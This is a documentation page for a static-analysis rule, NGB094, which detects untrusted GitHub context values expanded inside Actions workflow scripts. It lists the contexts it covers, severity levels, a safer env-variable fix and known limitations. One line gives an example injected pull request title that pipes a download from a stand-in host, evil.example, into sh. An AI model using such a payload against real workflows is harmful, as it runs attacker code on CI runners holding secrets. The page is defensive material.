Security rules
NGB094: Untrusted expression in a workflow script
Reports ${{ … }} expressions that expand contributor-controlled GitHub context values — issue / pull request / discussion titles and bodies, comment and review bodies, branch names (github.head_ref, pull_request.head.ref), commit messages and author fields — directly inside run: scripts or the script: input of actions/github-script..
| Property | Value |
|---|---|
| Rule ID | NGB094 |
| Category | Supply chain |
| Default severity | high |
| CWE | CWE-78, CWE-94 |
| Built-in presets | recommended: error, strict: error |
Confidence is reported per finding (high, medium, low) and is independent of severity. See Reading findings.
What it checks
Reports ${{ … }} expressions that expand contributor-controlled GitHub context values — issue / pull request / discussion titles and bodies, comment and review bodies, branch names (github.head_ref, pull_request.head.ref), commit messages and author fields — directly inside run: scripts or the script: input of actions/github-script.
Why it matters
Expressions are substituted into the script text before the shell or Node.js runs it. A pull request titled "; curl https://evil.example/x | sh; # therefore becomes part of the command line, executing arbitrary code on the runner with the job's secrets and token. Passing the value through an environment variable makes it data: the shell expands "$TITLE" without parsing it as code.
Detection behavior and supported patterns
run: echo "${{ github.event.issue.title }}"and multi-linerun: |scriptsuses: actions/github-scriptwithscript: … ${{ github.event.comment.body }} …- Contexts:
github.event.issue.title|body,pull_request.title|body|head.ref|head.label|head.repo.default_branch,comment|review|review_comment|discussion_comment.body,discussion.title|body,pages.*.page_name,commits.*.message|author.email|author.name,head_commit.message|author.*,workflow_run.head_branch|display_title|head_commit.*|pull_requests.*.head.ref,github.head_ref - High severity for privileged triggers (
pull_request_target,issue_comment,issues,workflow_run, …); medium when the workflow only runs onpull_request/push(fork PRs then get a read-only token and no secrets)
Example
- run: echo "Triage ${{ github.event.issue.title }}"Safer alternative
- env: TITLE: ${{ github.event.issue.title }} run: echo "Triage $TITLE"Remediation
Never expand untrusted contexts inside scripts. Map them to environment variables (env: TITLE: ${{ github.event.issue.title }}) and reference the variable with shell quoting ("$TITLE") or process.env.TITLE in github-script.
False-positive considerations
- Expressions wrapped in a function that cannot produce shell syntax (e.g.
${{ github.event.issue.title != '' }}) are still reported; move them toenv:anyway.
Known limitations
- Values copied into step outputs or
envand later expanded with${{ steps.x.outputs.y }}/${{ env.X }}are not traced. workflow_dispatchinputs are not treated as untrusted (only users with write access can dispatch).- Composite actions and reusable workflows are not followed.
References
Run it
ngbastion explain NGB094